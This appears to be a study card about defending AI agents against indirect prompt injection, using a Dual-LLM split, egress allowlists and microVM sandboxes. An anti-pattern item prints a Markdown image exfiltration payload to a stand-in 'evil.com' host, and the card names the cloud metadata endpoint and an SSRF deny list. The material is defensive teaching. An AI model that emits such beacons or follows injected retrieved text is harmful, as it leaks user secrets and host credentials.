← Back to Registry Hub/Site Search/L1 · stage6_security_finops
⚡Flashcard Drill➔
L1S3 · Model & AgentS6 · Security & FinOpsVerified: 2026-11-17

Stage 6 · Indirect Prompt Injection Firewall & Ephemeral MicroVM Sandbox Pattern

Stage 6 zero-trust Agent security architecture isolating untrusted retrieved documents/code inside Dual-LLM privilege boundaries, outbound URL egress allowlists, and ephemeral Firecracker/gVisor microVMs so hijacked context cannot exfiltrate host secrets or pivot internally.

Best For

Web-browsing agents, email/CRM automation copilots, and Cloud Coding Agents executing arbitrary model-generated Python or shell code.

Human-AI Boundary

Privileged tool-dispatching LLMs never ingest raw untrusted HTML; quarantined reader models summarize untrusted content into tightly validated schemas.

Anti-Patterns to Avoid

  • Executing LLM-generated `exec()` / subprocess scripts inside the same container holding production DB credentials and VPC metadata endpoints (`169.254.169.254`)
  • Allowing untrusted retrieved web text to dynamically populate URLs in a Markdown image tag (`![leak](https://evil.com/?q=SECRET)`) rendered to users

Latency/Cost Profile & Eval Metrics

Firecracker / gVisor ephemeral microVM warm snapshot boot ~120–250ms · Lightweight microVM pool idle standby vs categorical elimination of RCE / exfiltration breaches

  • Exfiltration & Egress Escape Block Rate: 100% block across IMDSv1 SSRF, external Markdown image exfil, and indirect email hijack probes (Run automated security red-team harness before every tool permission expansion)

💰 Business ROI Model & Evidence Level

production_practice

Clears enterprise InfoSec audits required to unlock Fortune 500 contracts while mechanically preventing RCE, SSRF, and silent data exfiltration.

🏗️ End-to-End Architecture Pipeline

Step 1: Quarantined Reader vs Privileged Action Dual-LLM Split

Untrusted text is parsed solely by a tool-less quarantined LLM into fixed primitive schemas before reaching any privileged action node.

Step 2: MicroVM Execution Sandbox & Markdown Egress CSP

Execute generated code solely inside short-lived network-jailed microVMs; strip external markdown image beacons via strict frontend CSP.

🚨 Production Failure Modes & Signatures

  • Allowing tool arguments sourced from retrieved snippets (like webhook URLs or SQL strings) without allowlist validation
  • Leaky `/proc` or shared container volumes across tenant sandboxes reusing warm pools improperly

🛡️ Compliance & Governance Hard Constraints

  • Default-deny SSRF blocklist (`169.254.0.0/16`, `10.0.0.0/8`, `127.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`) at network & DNS level
  • Zero host environment secrets injected into code execution container environments
⚡
Test muscle memory on this topic via 3-Layer Flashcards
Active Recall: Mentally formulate Prompt ➔ Math Derivation ➔ Benchmark Implementation in 3 minutes.
🎯 Drill This Card Now➔

Bidirectional Taxonomy Links

Internal Tools & Primary Sources